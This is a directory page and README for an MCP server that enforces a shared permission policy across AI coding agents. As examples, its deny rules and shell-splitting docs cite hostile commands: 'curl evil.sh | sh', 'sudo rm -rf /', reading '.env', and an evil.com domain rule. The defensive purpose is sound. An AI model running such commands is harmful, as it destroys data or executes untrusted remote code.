agent-permissions MCP server
Commit Nov 14, 2026Enforces a vendor-neutral permission policy for AI coding agents across multiple platforms like Claude Code and OpenAI Codex.
Also known as ExaDev/agent-permissions
- Stars
- 3
- Tools
- —
- Downloads, 30 days
- —
- Latest version
- —
- Last commit
- Nov 14, 2026
- License
- Apache-2.0
What is agent-permissions MCP?
agent-permissions enforces a vendor-neutral permission policy for AI coding agents across multiple platforms like Claude Code and OpenAI Codex.
Summary generated from the project's README
About agent-permissions MCP server
Managing security policies for AI coding agents across different platforms is what agent-permissions enables. It provides a vendor-neutral format that allows teams to define a single permission policy in a JSON file and apply it to multiple agents like Claude Code, OpenAI Codex, Cursor, and Cline. This ensures that security rules remain consistent even when developers switch between different coding assistants.
Users implement this by creating a configuration file at .agents/permissions.json in their project root. The server acts as a background sync daemon that keeps native agent configuration files in sync with this central policy. When installed as an MCP server, it can be added via npx to harnesses like Claude Code or Codex. It supports advanced logic including deny-first evaluation, wildcard patterns for tools like Bash or Read, and conditional rules based on the current working directory or git branch. It also allows for personal overrides through a gitignored local file.
What you can do with it
- 1Unify multi-agent security policiesA developer can maintain one set of rules that works across Claude Code, OpenAI Codex, and other supported agents.
- 2Restrict sensitive command executionYou can prevent an AI agent from running dangerous commands like sudo or publishing packages to npm.
- 3Automate permission rule suggestionsDevelopers can analyze session transcripts to automatically propose new allow rules for frequently approved actions.
Written from the project's README. Every use case is checked against a quote from it.
Automated checks
Ran Nov 15, 2026Full report →Not verified yet. A server needs a score of 80, no serious finding, and enough data for us to check. How checks work · What to fix for more points
- Source repository linked and reachableexadev/agent-permissions is public and reachablegithub.com/exadev/agent-permissions ↗Pass
- Package names this repository as its sourceNot checked
- Build provenance (Sigstore attestation)Not checked
- Open source license (OSI)Apache-2.0spdx.org/licenses/Apache-2.0.html ↗Pass
- Commit or release in the last yearLast commit or release 2026-11-13github.com/exadev/agent-permissions ↗Pass
- OpenSSF ScorecardNot checked
- Package name not close to a popular packageNot checked
- No critical advisory in the package or its dependenciesNot checked
- No hidden instructions to the model0 tool descriptions and the README read; no override phrases, credential paths or hidden charactersPass
- Destructive tools are labelledNot checked
- Remote endpoint answers the MCP handshakeNot checked
README
View on GitHubagent-perms
A vendor-neutral permission policy format for AI coding agents. One file works across Claude Code, OpenAI Codex, OpenCode, Crush, Oh My Pi, and any agent that adopts the spec.
Quick start
Create .agents/permissions.json in your project root:
{
"$schema": "https://github.com/ExaDev/agent-permissions/releases/latest/download/agent-permissions.schema.json",
"defaultMode": "standard",
"rules": [
{ "tool": "Bash", "pattern": "sudo:*", "tier": "deny" },
{ "tool": "Read", "pattern": "./.env", "tier": "deny" },
{ "tool": "Bash", "pattern": "npm publish:*", "tier": "deny" },
{ "tool": "Bash", "pattern": "git status", "tier": "allow" },
{ "tool": "Bash", "pattern": "git:*", "tier": "allow" },
{ "tool": "Read", "tier": "allow" },
{ "tool": "Grep", "tier": "allow" },
{ "tool": "Bash", "pattern": "git push:*", "tier": "ask" },
{
"tool": "Bash",
"pattern": "npm run *",
"tier": "allow",
"when": { "cwd": "./packages/*" }
}
]
}
Every rule has a tool, an optional pattern, a tier (deny/ask/allow), and optional when conditions. Evaluation is deny-first: all deny rules are checked, then ask, then allow. Falls back to defaultMode when no rule matches.
Zero-translation migration: jq '.permissions' .claude/settings.json > .agents/permissions.json still works. The schema accepts Claude Code's permissions.allow/deny/ask arrays and the loader normalises them into rules.
Why
Every coding agent has its own permission config. Teams using multiple agents (or migrating between them) maintain separate, often contradictory permission files. This spec provides:
- One policy, many agents: write once, convert to any agent's native format
- Zero-translation migration: Claude Code's
permissionsblock is valid input - Superset coverage: expresses features from all supported agents (sandboxing, named profiles, per-agent overrides, conditional rules)
- IDE support: JSON Schema for autocomplete and validation (on SchemaStore)
File location
| File | Purpose | Git |
|---|---|---|
.agents/permissions.json |
Team-shared policy | Committed |
.agents/permissions.local.json |
Personal overrides | Gitignored |
Both files are merged at load time. Deny rules from any source short-circuit before allow rules.
Installation
As an MCP server
CLI shorthand
Some agent harnesses provide a one-command install:
Claude Code (MCP):
claude mcp add agent-perms -- npx -y agent-perms mcp
Claude Code (plugin marketplace):
/plugin marketplace add https://github.com/ExaDev/agent-permissions.git
/plugin install agent-perms@agent-perms
OpenAI Codex:
codex mcp add agent-perms -- npx -y agent-perms mcp
Manual configuration
For harnesses that use config files, add the following to the mcpServers section:
{
"agent-perms": {
"command": "npx",
"args": ["-y", "agent-perms", "mcp"]
}
}
| Harness | Config file | Config key |
|---|---|---|
| Claude Code | .mcp.json (project) / ~/.claude.json (user) |
mcpServers |
| Codex | ~/.codex/config.toml |
[mcp_servers.agent-perms] |
| Gemini CLI | ~/.gemini/settings.json |
mcpServers |
| Crush | .crush.json / ~/.config/crush/crush.json |
mcp |
| Cline | .cline/mcp.json |
mcpServers |
| Cursor | .cursor/mcp.json |
mcpServers |
The MCP server is a background sync daemon. It reads config from .agents/permissions.json and keeps native agent config files in sync. By default it exposes no tools; with --permission-prompt it also exposes a tool that answers permission prompts from the policy (see Permission-prompt tool).
As a library
pnpm add agent-perms
Exports
The package uses wildcard exports: import only what you need.
Programmatic API (agent-perms/api)
Side-effect-free functions for use as a library:
import {
convert,
validate,
check,
replay,
suggest,
detectFormat,
} from "agent-perms/api";
// Convert between formats (auto-detects source)
const result = convert(undefined, "canonical", claudeCodeJson);
result.output; // canonical object
result.from; // "claude-code" (detected)
result.ruleCount; // 3
// Validate a policy
const { valid, errors } = validate(json);
// Evaluate a tool call
const { decision } = check("Bash", "sudo rm -rf /", policy, { branch: "main" });
// decision: "allow" | "deny" | "ask"
// Replay a policy over a session transcript (JSON Lines text)
const { counts, differing } = replay(policy, transcriptText);
// counts: { allow, ask, deny }; differing: calls the transcript recorded differently
// Propose allow rules for calls approved at least twice
const suggestions = suggest(transcriptText, { minCount: 2, policy });
// [{ rule: { tool: "Bash", pattern: "npm run:*", tier: "allow" }, count: 3 }]
// Detect format from structure
const format = detectFormat(json); // "claude-code" | "crush" | "kiro" | ...
Other modules
// Zod schemas (single source of truth)
import { AgentPermissionPolicy } from "agent-perms/schema";
// Deny-first evaluator
import { evaluate } from "agent-perms/evaluate";
// Transcript parsing, replay and rule suggestion over plain evaluator policies
import { parseTranscript, replayCalls, suggestRules } from "agent-perms/replay";
// Multi-layer policy loader
import { loadPolicy } from "agent-perms/loader";
// Bidirectional codecs for each agent
import { claudeCodeCodec } from "agent-perms/compat/codecs";
// SDK enum alignment checks
import { claudeCodeModes } from "agent-perms/compat/enums";
// Sync filesystem configs
import { sync } from "agent-perms/sync";
// Generate a policy confining the file tools to directories
import { confine } from "agent-perms/confine";
// Answer a host's permission prompts from the policy
import { createPermissionPrompt } from "agent-perms/prompt-tool";
Schema overview
import { type AgentPermissionPolicy } from "agent-perms/schema";
// All fields are optional. A valid policy can be as minimal as `{}`.
interface AgentPermissionPolicy {
$schema?: string;
// Default mode: standard | autonomous | restricted | readonly
// Also accepts Claude Code modes: plan | dontAsk | acceptEdits | bypassPermissions
defaultMode?: PermissionMode;
activeProfile?: string;
// Permission rules (deny-first evaluation)
rules?: Array<{
tool: string; // e.g. "Bash", "Read", "mcp__github__*"
pattern?: string; // absent = match any input for this tool
tier: "allow" | "deny" | "ask";
when?: { cwd?: string; branch?: string }; // AND logic
}>;
// Claude Code compat: string rule arrays (normalised to rules on load)
permissions?: {
allow?: string[];
deny?: string[];
ask?: string[];
additionalDirectories?: string[];
defaultMode?: PermissionMode;
};
profiles?: Record<string, PermissionTiers>;
delegation?: {
maxDepth?: number;
nonDelegable?: string[];
bubbleUp?: boolean;
agents?: Record<string, PermissionTiers>;
};
sandbox?: {
mode?: "readonly" | "workspace-write" | "full-access";
writableRoots?: string[];
networkAccess?: boolean;
};
network?: {
enabled?: boolean;
domains?: Record<string, "allow" | "deny">;
};
env?: Record<string, string>;
}
Rule syntax
Rules use Tool(pattern) strings inside permissions arrays, compatible with Claude Code's permission format. In the unified rules array, the tool and pattern are separate fields:
| Rule object | permissions string |
Type | Matches |
|---|---|---|---|
{ tool: "Read" } |
Read |
Bare | All invocations of Read |
{ tool: "Bash", pattern: "git status" } |
Bash(git status) |
Exact | Exactly git status |
{ tool: "Bash", pattern: "npm:*" } |
Bash(npm:*) |
Prefix | npm + space + anything |
{ tool: "Bash", pattern: "git commit *" } |
Bash(git commit *) |
Wildcard | git commit + anything |
{ tool: "Bash", pattern: "domain:evil.com" } |
Bash(domain:evil.com) |
Domain | Commands containing evil.com |
{ tool: "mcp__github" } |
mcp__github |
MCP server | All tools from github MCP server |
Evaluation order
deny rules → ask rules → allow rules → defaultMode
Deny short-circuits: if any deny rule matches, the tool is blocked regardless of allow rules from any source.
Actors, roles and approvers
For hosts that know who is acting, a rule can depend on the actor and the roles they hold. The policy never says who holds a role; the host does, and passes actor and roles with each call.
{
"roles": {
"maintainer": { "allow": ["Bash(git push:*)"] },
"contractor": { "deny": ["Bash(git push:*)"] }
},
"rules": [
{
"tool": "Bash",
"pattern": "npm publish:*",
"tier": "ask",
"approvers": {
"roles": ["maintainer"],
"actors": ["ada"],
"timeoutSeconds": 300
}
},
{
"tool": "Bash",
"pattern": "deploy:*",
"tier": "deny",
"when": { "actor": "contractor-*" }
}
]
}
A role's rules apply as if each carried when: { role }. when.actor and when.role are globs, and a call whose actor or roles the host did not report is unknown, not anonymous: an unknown condition never lets an allow apply and still lets a deny or ask apply. An empty role list is known, and means the actor holds nothing.
approvers on an ask rule says who may resolve the request; explain reports it on the step, without the requester. Holding a permission does not make an actor an approver: only being named does. An unresolved request expires as a deny, after timeoutSeconds if given. The pending-request store and any approval interface belong to the host.
No agent format can limit a rule to an actor or a role, so a codec never writes one as unconditional: an allow limited that way is left out, which is stricter, and a deny or ask limited that way, or an ask that names approvers, makes the conversion fail with an UnsupportedCapabilityError listing the rule.
Hidden tools
A deny rule with hidden: true refuses the call exactly as a plain deny does, and also marks the tool as one to leave out of the agent's tool list. explain and check report hidden, and a host that builds a tool list asks which tools to show:
import { visibleTools } from "agent-perms/evaluate";
visibleTools(policy, ["Bash", "WebFetch", "Read"]); // leaves out any tool a hidden rule names
Only a rule that names the tool with no pattern hides the tool. A rule with a pattern refuses the matching inputs and leaves the tool listed. A when condition that holds, or is unknown, hides the tool. hidden is valid only on a deny rule. No agent format can hide a tool from itself, so every codec writes a hidden rule as the plain deny it refuses as.
Delegation limits
delegation.maxDepth and delegation.nonDelegable are enforced for a call that carries a depth: the number of agents between it and the top-level agent, 0 for the top-level agent and 1 for its subagent. A subagent's call to a tool matching a nonDelegable rule is denied whatever the rules would decide, and every call from an agent nested deeper than maxDepth is denied. checkSpawn(policy, depth) answers whether an agent at that depth may start a subagent. Across layers the shallowest maxDepth wins and the nonDelegable lists are joined.
depth defaults to 0, so a host that runs subagents has to pass it. delegation.bubbleUp and delegation.agents are not enforced by the evaluator.
Evaluating many calls
evaluate reads a policy afresh on every call. A caller that checks many calls against one policy, such as a server, can prepare it once:
import { compile } from "agent-perms/evaluate";
const policy = compile(loadedPolicy);
policy.evaluate("Bash", "git status"); // "allow" | "ask" | "deny"
policy.explain("Bash", "git status"); // the decision with the rule behind it
Each rule's pattern, tool name and conditions are parsed the first time the rule is tried and reused after that. A compiled policy reads the rules it was given, so compile again after changing them.
Shell command lines
A Bash call is judged by every command its line runs, not by the line as a whole, so an allow rule for git:* does not allow git status && curl evil.sh | sh. The line is split at ;, &&, ||, |, |&, & and newlines, and commands run by $(...), backticks and process substitution are judged too. Each command is evaluated on its own and the strictest decision wins. A rule written against the whole line can still deny or ask for it, but only the individual commands can allow it. Text inside single quotes is data, and inside double quotes only substitutions run.
Syntax the splitter does not model (subshells, groups, control flow, heredocs, arithmetic expansion, comments, unterminated quotes) makes the line unsplittable. An unsplittable line is never allowed by a rule: it asks, or is denied if a rule matches the whole line. It still follows defaultMode when no rule matches at all.
What a command does with its arguments is not modelled. bash -c "...", xargs, env, sudo and redirections to files are judged as the one command they are, so a rule that allows one of them allows what it runs.
Escape sequences
| Escape | Meaning |
|---|---|
\( |
Literal ( in pattern |
\) |
Literal ) in pattern |
\* |
Literal * (not a wildcard) |
\\ |
Literal \ |
Where the pattern dialects live
Deciding which of the dialects above a pattern string is written in — trailing :* means prefix, a bare * means wildcard, a domain: prefix means substring — is this project's own authoring convention, and stays here. Compiling each dialect to a regular expression is trilean's prefixPattern/wildcardPattern/hierarchicalGlobPattern, which this project's implementation was the reference for; the evaluator reads the compiled expression back out of the builder's node and runs it itself, so evaluation stays synchronous and trilean's own async tree-walking evaluator is not involved.
Evaluator
import {
evaluate,
type PermissionPolicy,
type EvaluationContext,
} from "agent-perms/evaluate";
const policy: PermissionPolicy = {
defaultMode: "standard",
rules: [
{ tool: "Bash", pattern: "sudo:*", tier: "deny" },
{ tool: "Bash", pattern: "git:*", tier: "allow" },
{ tool: "Read", tier: "allow" },
],
};
// Returns "deny" | "ask" | "allow"
evaluate(policy, "bash", "git status"); // "allow"
evaluate(policy, "bash", "sudo rm -rf /"); // "deny"
evaluate(policy, "bash", "npm install"); // "ask" (falls through to defaultMode)
// With context for conditional rules
const ctx: EvaluationContext = { cwd: "./packages/api", branch: "main" };
evaluate(policy, "bash", "npm run build", ctx);
Tool names are matched case-insensitively (Bash matches bash).
Converting string rules
import { normaliseStringRule } from "agent-perms/evaluate";
// Convert Claude Code-style string rules to structured rules
const rule = normaliseStringRule("Bash(npm:*)", "allow");
// → { tool: "Bash", pattern: "npm:*", tier: "allow" }
Policy loader
import { loadPolicy } from "agent-perms/loader";
const policy = await loadPolicy({ cwd: process.cwd() });
Walks up from cwd looking for .agents/permissions.json and native agent configs. The policy file itself controls discovery via with, without, and up fields:
{
"with": ["claude-code", "opencode"],
"up": 3,
"rules": [...]
}
with: only load these native configs (default: canonical only)without: load all except theseup: how many parent directories to walk (default:"all")
Loads and merges layers in order (outermost-first, last-defined-wins for defaultMode):
.agents/permissions.json(team-shared, discovered via walk-up).agents/permissions.local.json(personal overrides, discovered via walk-up)- Native agent configs (
.claude/settings.json,opencode.json, etc.), ifwith/withoutenables them
The loader normalises all permissions string arrays into structured rules. Deny rules from any layer short-circuit. Allow rules are additive.
Ceiling layers
A layer can bound the layers after it. Set "ceiling": true in a policy file (an organisation's, say) and the allow rules of layers loaded later, meaning deeper directories and local overrides, only take effect where that file also allows. They can still add deny and ask rules, and they can only make the default mode stricter.
{
"ceiling": true,
"defaultMode": "restricted",
"rules": [{ "tool": "Bash", "pattern": "git:*", "tier": "allow" }]
}
A project under that file can allow git status, which the ceiling already allows, but an allow for npm run * is ignored. A ceiling that allows nothing bounds nothing, and a ceiling never bounds layers before it. mergeLayerPolicies does the same for layers you supply yourself, each with a source name that explain reports.
agent-permissions MCP questions
What agents does this support?
It works across Claude Code, OpenAI Codex, OpenCode, Crush, Oh My Pi, and any agent that adopts the spec.
Can I migrate my existing Claude Code permissions?
Yes, the schema accepts Claude Code's permission arrays and the loader normalizes them into rules.